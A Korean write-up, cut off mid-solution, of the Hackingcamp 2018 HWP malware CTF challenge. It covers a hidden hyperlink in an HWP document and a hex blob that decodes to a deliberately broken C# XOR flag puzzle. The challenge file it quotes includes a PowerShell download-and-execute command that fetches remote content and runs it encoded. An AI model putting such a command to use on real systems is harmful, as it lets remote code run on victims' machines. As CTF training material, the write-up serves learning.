Hackingcamp 2018 HWP Malware Custom


풀이

HWP 파일을 다운로드하여 열어보면 hackingcamp에 관한 내용을 확인할 수 있다.

육군해킹방어대회에서 HWP에 관한 문제가 출제되었는데 비숫하다고 생각이 되어 문서를 잘 살펴보니 마지막 페이지에 폰트를 매우 작게해 하이퍼링크와 힌트에 관한 내용이 있었다.

HINT. 출제자가 좋아하는 분야를 떠울려...
a

a라는 글자에는 하이퍼링크가 있었으며 해당 하이퍼링크를 열어보면 https://drive.google.com/file/d/1nP7ETqhUevqIQz_DY5DVZC64oSvp0MHW/view로 이동하게 된다.

Hello I am c0nstant In DemonTeam.
This  problem's intend is not a problem with complex operations.
this code can not active.  
But, Nowadays This Scenario is exist.
There is a lot of malicious code using postscript or ghostscript.
But This Scenario is not used postscript 
Now, if you are a real malware, the binary will be doing malicious activity.
Most malicious activity occurs through C&C.

Now read the pseudo code of the file and think about how to solve it.
Cheerup 

////////////////////Pseudo code//////////////////////

cmd.exe /k "Powershell.exe -NonI -noexit -NoP -sta $sr=(new-object IO.StreamReader((([Net.WebRequest]::Create('http://1993-constant.tistory.com/446)).GetResponse()).GetResponseStream()).ReadToEnd();powershell.exe -e 

# Parsing Coding... #
passwd = 'Parsing and add all the numbers in the HWP file you have viewed. Also parse the numbers in the picture.'

bind def /HACKINGCAMP18
<75 73 69 6E 67 20 53 79 73 74 65 6D 3B 0D 0A 75 73 69 6E 67 20 53 79 73 74 65 6D 2E 43 6F 6C 6C 65 63 74 69 6F 6E 73 2E 47 65 6E 65 72 69 63 3B 0D 0A 75 73 69 6E 67 20 53 79 73 74 65 6D 2E 49 4F 3B 0D 0A 75 73 69 6E 67 20 53 79 73 74 65 6D 2E 4C 69 6E 71 3B 0D 0A 75 73 69 6E 67 20 53 79 73 74 65 6D 2E 52 75 6E 74 69 6D 65 2E 49 6E 74 65 72 6F 70 53 65 72 76 69 63 65 73 2E 57 69 6E 64 6F 77 73 52 75 6E 74 69 6D 65 3B 0D 0A 75 73 69 6E 67 20 57 69 6E 64 6F 77 73 2E 46 6F 75 6E 64 61 74 69 6F 6E 3B 0D 0A 75 73 69 6E 67 20 57 69 6E 64 6F 77 73 2E 46 6F 75 6E 64 61 74 69 6F 6E 2E 43 6F 6C 6C 65 63 74 69 6F 6E 73 3B 0D 0A 75 73 69 6E 67 20 57 69 6E 64 6F 77 73 2E 55 49 2E 58 61 6D 6C 3B 0D 0A 75 73 69 6E 67 20 57 69 6E 64 6F 77 73 2E 55 49 2E 58 61 6D 6C 2E 43 6F 6E 74 72 6F 6C 73 3B 0D 0A 75 73 69 6E 67 20 57 69 6E 64 6F 77 73 2E 55 49 2E 58 61 6D 6C 2E 43 6F 6E 74 72 6F 6C 73 2E 50 72 69 6D 69 74 69 76 65 73 3B 0D 0A 75 73 69 6E 67 20 57 69 6E 64 6F 77 73 2E 55 49 2E 58 61 6D 6C 2E 44 61 74 61 3B 0D 0A 75 73 69 6E 67 20 57 69 6E 64 6F 77 73 2E 55 49 2E 58 61 6D 6C 2E 49 6E 70 75 74 3B 0D 0A 75 73 69 6E 67 20 57 69 6E 64 6F 77 73 2E 55 49 2E 58 61 6D 6C 2E 4D 65 64 69 61 3B 0D 0A 75 73 69 6E 67 20 57 69 6E 64 6F 77 73 2E 55 49 2E 58 61 6D 6C 2E 4E 61 76 69 67 61 74 69 6F 6E 3B 0D 0A 0D 0A 6E 61 6D 65 73 70 61 63 65 20 55 6E 6B 6E 6F 77 6E 0D 0A 7B 0D 0A 20 20 20 20 70 75 62 6C 69 63 20 73 65 61 6C 65 64 20 70 61 72 74 69 61 6C 20 63 6C 61 73 73 20 4D 61 69 6E 50 61 67 65 20 3A 20 50 61 67 65 0D 0A 20 20 20 20 7B 0D 0A 20 20 20 20 20 20 20 20 70 75 62 6C 69 63 20 20 73 74 72 69 6E 67 20 5F 73 74 72 3B 0D 0A 20 20 20 20 20 20 20 20 70 75 62 6C 69 63 20 63 68 61 72 5B 5D 20 74 6D 70 3B 0D 0A 20 20 20 20 20 20 20 20 70 75 62 6C 69 63 20 73 74 72 69 6E 67 20 69 6E 66 6F 72 6D 61 74 69 6F 6E 3B 0D 0A 0D 0A 20 20 20 20 20 20 20 20 2F 2F 20 54 68 69 73 20 63 6F 64 65 20 69 73 20 6E 6F 74 20 52 75 6E 2E 2E 2E 0D 0A 20 20 20 20 20 20 20 20 2F 2F 20 48 6F 77 65 76 65 72 20 59 6F 75 20 63 61 6E 20 47 45 54 20 46 6C 61 67 0D 0A 20 20 20 20 20 20 20 20 2F 2F 20 54 68 65 72 65 20 61 72 65 20 61 20 6C 6F 74 20 6F 66 20 77 61 79 73 2E 0D 0A 20 20 20 20 20 20 20 20 2F 2F 20 49 20 62 65 6C 69 65 76 65 20 69 6E 20 79 6F 75 72 20 73 65 6E 73 65 73 2E 0D 0A 20 20 20 20 20 20 20 20 2F 2F 20 59 6F 75 20 73 68 6F 75 6C 64 20 63 72 65 61 74 65 20 73 63 72 69 70 74 20 0D 0A 20 20 20 20 20 20 20 20 2F 2F 20 49 74 20 69 73 20 33 61 73 79 20 76 65 72 79 20 33 61 73 79 20 0D 0A 20 20 20 20 20 20 20 20 2F 2F 20 44 6F 6E 27 74 20 67 69 76 65 20 75 70 0D 0A 20 20 20 20 20 20 20 20 70 75 62 6C 69 63 20 4D 61 69 6E 50 61 67 65 28 29 0D 0A 20 20 20 20 20 20 20 20 7B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 69 6E 66 6F 72 6D 61 74 69 6F 6E 20 3D 20 22 57 68 65 6E 20 74 68 65 20 62 75 74 74 6F 6E 20 69 73 20 61 63 74 69 76 61 74 65 64 2C 20 74 68 65 20 5F 73 74 72 20 69 73 20 64 69 73 70 6C 61 79 65 64 22 3B 0D 0A 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 20 3D 20 22 4B 43 44 4D 56 7B 49 6F 71 61 6D 61 6A 70 5F 46 72 67 63 6C 65 74 5F 5C 5C 73 76 5F 47 6F 66 75 6B 65 69 74 40 69 65 65 4C 53 6E 69 76 68 6F 6E 5C 60 5F 51 68 68 74 4C 75 6B 61 6D 61 6E 61 6F 61 6E 61 61 7D 22 3B 20 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 69 6E 74 20 6E 20 3D 20 5F 73 74 72 2E 4C 65 6E 67 74 68 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 74 68 69 73 2E 49 6E 69 74 69 61 6C 69 7A 65 43 6F 6D 70 6F 6E 65 6E 74 28 29 3B 0D 0A 20 20 20 20 20 20 20 20 7D 0D 0A 0D 0A 20 20 20 20 20 20 20 20 70 75 62 6C 69 63 20 76 6F 69 64 20 72 6F 75 6E 64 35 28 29 0D 0A 20 20 20 20 20 20 20 20 7B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 66 6F 72 20 28 69 6E 74 20 69 20 3D 20 30 3B 20 69 20 3C 20 6E 3B 20 69 2B 2B 29 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 7B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 35 35 5D 20 5E 3D 20 30 78 33 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 35 37 5D 20 5E 3D 20 30 78 35 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 35 39 5D 20 5E 3D 20 30 78 36 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 36 31 5D 20 5E 3D 20 30 78 37 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 36 33 5D 20 5E 3D 20 30 78 36 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 36 35 5D 20 5E 3D 20 30 78 39 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 36 37 5D 20 5E 3D 20 30 78 31 33 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 7D 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 72 6F 75 6E 64 35 28 29 3B 0D 0A 20 20 20 20 20 20 20 20 7D 0D 0A 0D 0A 20 20 20 20 20 20 20 20 70 75 62 6C 69 63 20 76 6F 69 64 20 72 6F 75 6E 64 34 28 29 0D 0A 20 20 20 20 20 20 20 20 7B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 66 6F 72 20 28 69 6E 74 20 69 20 3D 20 30 3B 20 69 20 3C 20 6E 3B 20 69 2B 2B 29 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 7B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 34 31 5D 20 5E 3D 20 30 78 33 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 34 33 5D 20 5E 3D 20 30 78 35 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 34 35 5D 20 5E 3D 20 30 78 36 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 34 37 5D 20 5E 3D 20 30 78 37 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 34 39 5D 20 5E 3D 20 30 78 36 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 35 31 5D 20 5E 3D 20 30 78 39 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 35 33 5D 20 5E 3D 20 30 78 31 33 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 7D 0D 0A 20 20 20 20 20 20 20 20 7D 0D 0A 0D 0A 20 20 20 20 20 20 20 20 70 75 62 6C 69 63 20 76 6F 69 64 20 72 6F 75 6E 64 33 28 29 0D 0A 20 20 20 20 20 20 20 20 7B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 66 6F 72 20 28 69 6E 74 20 69 20 3D 20 30 3B 20 69 20 3C 20 6E 3B 20 69 2B 2B 29 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 7B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 32 37 5D 20 5E 3D 20 30 78 33 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 32 39 5D 20 5E 3D 20 30 78 35 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 33 31 5D 20 5E 3D 20 30 78 36 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 33 33 5D 20 5E 3D 20 30 78 37 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 33 35 5D 20 5E 3D 20 30 78 36 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 33 37 5D 20 5E 3D 20 30 78 39 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 33 39 5D 20 5E 3D 20 30 78 31 33 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 7D 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 72 6F 75 6E 64 33 28 29 3B 0D 0A 20 20 20 20 20 20 20 20 7D 0D 0A 0D 0A 20 20 20 20 20 20 20 20 70 75 62 6C 69 63 20 76 6F 69 64 20 72 6F 75 6E 64 32 28 29 0D 0A 20 20 20 20 20 20 20 20 7B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 66 6F 72 20 28 69 6E 74 20 69 20 3D 20 30 3B 20 69 20 3C 20 6E 3B 20 69 2B 2B 29 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 7B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 31 33 5D 20 5E 3D 20 30 78 33 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 31 35 5D 20 5E 3D 20 30 78 35 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 31 37 5D 20 5E 3D 20 30 78 36 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 31 39 5D 20 5E 3D 20 30 78 37 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 32 31 5D 20 5E 3D 20 30 78 36 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 32 33 5D 20 5E 3D 20 30 78 39 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 32 35 5D 20 5E 3D 20 30 78 31 33 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 7D 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 72 6F 75 6E 64 36 28 29 3B 0D 0A 20 20 20 20 20 20 20 20 7D 0D 0A 0D 0A 20 20 20 20 20 20 20 20 70 75 62 6C 69 63 20 76 6F 69 64 20 72 6F 75 6E 64 31 28 29 0D 0A 20 20 20 20 20 20 20 20 7B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 66 6F 72 20 28 69 6E 74 20 69 20 3D 20 30 3B 20 69 20 3C 20 6E 3B 20 69 2B 2B 29 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 7B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 30 5D 20 5E 3D 20 30 78 33 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 32 5D 20 5E 3D 20 30 78 35 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 34 5D 20 5E 3D 20 30 78 36 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 36 5D 20 5E 3D 20 30 78 37 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 38 5D 20 5E 3D 20 30 78 36 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 31 30 5D 20 5E 3D 20 30 78 39 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 31 32 5D 20 5E 3D 20 30 78 31 33 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 7D 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 72 6F 75 6E 64 34 28 29 3B 0D 0A 20 20 20 20 20 20 20 20 7D 0D 0A 09 0D 0A 09 70 75 62 6C 69 63 20 69 6E 74 20 68 65 6C 70 28 69 6E 74 20 77 68 61 74 29 0D 0A 20 20 20 20 20 20 20 20 7B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 66 6F 72 20 28 69 6E 74 20 69 20 3D 20 30 3B 20 69 20 3C 20 31 33 35 35 35 3B 20 69 2B 2B 29 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 7B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6F 72 20 28 69 6E 74 20 6A 20 3D 20 30 3B 20 6A 20 3C 20 35 30 3B 20 6A 2B 2B 29 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 77 68 61 74 20 3D 3D 20 30 29 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 72 65 61 6B 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 6C 73 65 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 68 61 74 20 5E 3D 20 69 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 68 61 74 20 2B 3D 20 30 78 41 42 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 68 61 74 20 2D 3D 20 77 68 61 74 20 25 20 28 6A 20 2B 20 69 29 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 68 61 74 20 2A 3D 20 68 65 6C 70 28 77 68 61 74 20 2D 20 31 39 39 29 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7D 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7D 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 7D 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 77 68 61 74 20 3D 20 33 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6E 20 77 68 61 74 3B 0D 0A 20 20 20 20 20 20 20 20 7D 0D 0A 0D 0A 20 20 20 20 20 20 20 20 70 75 62 6C 69 63 20 76 6F 69 64 20 49 6E 69 74 53 74 72 69 6E 67 28 29 0D 0A 20 20 20 20 20 20 20 20 7B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 67 65 74 5F 66 6C 61 67 2E 54 65 78 74 20 3D 20 22 22 3B 20 2F 2F 20 69 6E 69 74 20 0D 0A 20 20 20 20 20 20 20 20 7D 0D 0A 2F 2A 0D 0A 20 20 20 20 20 20 20 20 70 75 62 6C 69 63 20 76 6F 69 64 20 65 6E 63 28 29 0D 0A 20 20 20 20 20 20 20 20 7B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 66 6F 72 20 28 69 6E 74 20 69 20 3D 20 30 3B 20 69 20 3C 20 6E 3B 20 69 2B 2B 29 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 7B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 69 20 25 20 32 20 3D 3D 20 30 29 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 69 20 25 20 32 5D 20 5E 3D 20 30 78 44 45 41 44 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7D 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 6C 73 65 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 69 5D 20 5E 3D 20 30 78 42 45 45 46 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7D 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 7D 0D 0A 20 20 20 20 20 20 20 20 7D 0D 0A 0D 0A 2A 2F 20 20 20 20 20 20 20 20 0D 0A 0D 0A 20 20 20 20 20 20 20 20 70 75 62 6C 69 63 20 76 6F 69 64 20 64 65 63 28 29 0D 0A 20 20 20 20 20 20 20 20 7B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 52 61 6E 64 6F 6D 20 77 68 61 74 20 3D 20 6E 65 77 20 52 61 6E 64 6F 6D 28 29 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 77 68 61 74 2E 4E 65 78 74 28 2D 31 30 30 30 2C 20 31 30 30 30 29 3B 0D 0A 2F 2A 20 20 20 20 20 20 20 20 20 20 20 20 66 6F 72 20 28 69 6E 74 20 69 20 3D 20 30 3B 20 69 20 3C 20 6E 3B 20 69 2B 2B 29 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 7B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 69 20 25 20 32 20 3D 3D 20 30 29 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 69 20 25 20 32 5D 20 5E 3D 20 30 78 44 45 41 44 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7D 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 6C 73 65 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 73 74 72 5B 69 5D 20 5E 3D 20 30 78 42 45 45 46 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7D 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 7D 0D 0A 2A 2F 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 0D 0A 09 20 20 20 20 55 53 45 52 5F 49 4E 50 55 54 20 3D 20 43 6F 6E 73 6F 6C 65 2E 52 65 61 64 4C 69 6E 65 28 29 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 77 68 61 74 20 3D 20 68 65 6C 70 28 29 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 73 77 69 74 63 68 20 28 77 68 61 74 29 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 7B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 31 3A 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 6F 75 6E 64 33 28 29 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 72 65 61 6B 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 32 3A 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 6F 75 6E 64 32 28 29 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 72 65 61 6B 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 33 3A 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 6F 75 6E 64 31 28 29 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 72 65 61 6B 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 34 3A 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 6F 75 6E 64 34 28 29 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 72 65 61 6B 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 35 3A 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 6F 75 6E 64 35 28 29 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 09 20 20 20 20 62 72 65 61 6B 3B 20 20 20 20 20 20 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 7D 0D 0A 0D 0A 09 09 69 66 28 53 74 72 69 6E 67 2E 43 6F 6D 70 61 72 65 28 5F 73 74 72 2C 55 53 45 52 5F 49 4E 50 55 54 29 3D 3D 30 29 0D 0A 09 09 7B 0D 0A 09 09 09 43 6F 6E 73 6F 6C 65 2E 57 72 69 74 65 28 22 43 30 6E 67 72 61 74 75 6C 61 74 69 6F 6E 21 22 29 3B 0D 0A 09 09 7D 09 0D 0A 20 20 20 20 20 20 20 20 7D 0D 0A 0D 0A 0D 0A 20 20 20 20 20 20 20 20 70 72 69 76 61 74 65 20 76 6F 69 64 20 62 75 74 74 6F 6E 5F 43 6C 69 63 6B 28 6F 62 6A 65 63 74 20 73 65 6E 64 65 72 2C 20 52 6F 75 74 65 64 45 76 65 6E 74 41 72 67 73 20 65 29 0D 0A 20 20 20 20 20 20 20 20 7B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 49 6E 69 74 53 74 72 69 6E 67 28 29 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 64 65 63 28 29 3B 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 67 65 74 5F 66 6C 61 67 2E 54 65 78 74 20 2B 3D 20 5F 73 74 72 3B 0D 0A 20 20 20 20 20 20 20 20 7D 0D 0A 20 20 20 20 20 20 20 20 0D 0A 20 20 20 20 7D 0D 0A 7D 0D 0A>

위와 같은 텍스트 파일을 받을 수 있으며, 티스토리 블로그 주소와 passwd는 문서의 숫자를 모두 더한 값이라고 알려준다. 또한 헥스 값을 볼 수 있는데, 먼저 헥스 값을 살펴보도록 하자.

헥스 값을 문자열로 변환하면 아래와 같이 C# 코드가 생성된다.

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices.WindowsRuntime;
using Windows.Foundation;
using Windows.Foundation.Collections;
using Windows.UI.Xaml;
using Windows.UI.Xaml.Controls;
using Windows.UI.Xaml.Controls.Primitives;
using Windows.UI.Xaml.Data;
using Windows.UI.Xaml.Input;
using Windows.UI.Xaml.Media;
using Windows.UI.Xaml.Navigation;

namespace Unknown
{
    public sealed partial class MainPage : Page
    {
        public  string _str;
        public char[] tmp;
        public string information;

        // This code is not Run...
        // However You can GET Flag
        // There are a lot of ways.
        // I believe in your senses.
        // You should create script 
        // It is 3asy very 3asy 
        // Don't give up
        public MainPage()
        {
            information = "When the button is activated, the _str is displayed";

            _str = "KCDMV{Ioqamajp_Frgclet_\\sv_Gofukeit@ieeLSnivhon\`_QhhtLukamanaoanaa}"; 
            int n = _str.Length;
            this.InitializeComponent();
        }

        public void round5()
        {
            for (int i = 0; i < n; i++)
            {
                _str[55] ^= 0x3;
                _str[57] ^= 0x5;
                _str[59] ^= 0x6;
                _str[61] ^= 0x7;
                _str[63] ^= 0x6;
                _str[65] ^= 0x9;
                _str[67] ^= 0x13;
            }
            round5();
        }

        public void round4()
        {
            for (int i = 0; i < n; i++)
            {
                _str[41] ^= 0x3;
                _str[43] ^= 0x5;
                _str[45] ^= 0x6;
                _str[47] ^= 0x7;
                _str[49] ^= 0x6;
                _str[51] ^= 0x9;
                _str[53] ^= 0x13;
            }
        }

        public void round3()
        {
            for (int i = 0; i < n; i++)
            {
                _str[27] ^= 0x3;
                _str[29] ^= 0x5;
                _str[31] ^= 0x6;
                _str[33] ^= 0x7;
                _str[35] ^= 0x6;
                _str[37] ^= 0x9;
                _str[39] ^= 0x13;
            }
            round3();
        }

        public void round2()
        {
            for (int i = 0; i < n; i++)
            {
                _str[13] ^= 0x3;
                _str[15] ^= 0x5;
                _str[17] ^= 0x6;
                _str[19] ^= 0x7;
                _str[21] ^= 0x6;
                _str[23] ^= 0x9;
                _str[25] ^= 0x13;
            }
            round6();
        }

        public void round1()
        {
            for (int i = 0; i < n; i++)
            {
                _str[0] ^= 0x3;
                _str[2] ^= 0x5;
                _str[4] ^= 0x6;
                _str[6] ^= 0x7;
                _str[8] ^= 0x6;
                _str[10] ^= 0x9;
                _str[12] ^= 0x13;
            }
            round4();
        }
	
	public int help(int what)
        {
            for (int i = 0; i < 13555; i++)
            {
                for (int j = 0; j < 50; j++)
                {
                    if (what == 0)
                        break;
                    else
                    {
                        what ^= i;
                        what += 0xAB;
                        what -= what % (j + i);
                        what *= help(what - 199);
                    }
                }
            }
            what = 3;
            return what;
        }

        public void InitString()
        {
            get_flag.Text = ""; // init 
        }
/*
        public void enc()
        {
            for (int i = 0; i < n; i++)
            {
                if (i % 2 == 0)
                {
                    _str[i % 2] ^= 0xDEAD;
                }
                else
                {
                    _str[i] ^= 0xBEEF;
                }
            }
        }

*/        

        public void dec()
        {
            Random what = new Random();
            what.Next(-1000, 1000);
/*            for (int i = 0; i < n; i++)
            {
                if (i % 2 == 0)
                {
                    _str[i % 2] ^= 0xDEAD;
                }
                else
                {
                    _str[i] ^= 0xBEEF;
                }
            }
*/
            
	    USER_INPUT = Console.ReadLine();
            what = help();
            
            switch (what)
            {
                case 1:
                    round3();
                    break;
                case 2:
                    round2();
                    break;
                case 3:
                    round1();
                    break;
                case 4:
                    round4();
                    break;
                case 5:
                    round5();
              	    break;      
            }

		if(String.Compare(_str,USER_INPUT)==0)
		{
			Console.Write("C0ngratulation!");
		}	
        }


        private void button_Click(object sender, RoutedEventArgs e)
        {
            
            InitString();
            
            dec();
            
            get_flag.Text += _str;
        }
        
    }
}

위 코드에서는 what의 값이 3이 되며 switch-case 문에서 case 3으로 이동하게 된다. round1()을 수행하고 round4()에서 끝나는데, 이상하다 싶어 write-up을 참조했다. write-up에서는 각 round 함수가 모두 실행된다는 것을 확인하고 아래와 같이 c 코드를 작성했다.

#include "stdafx.h"
#include <string.h>

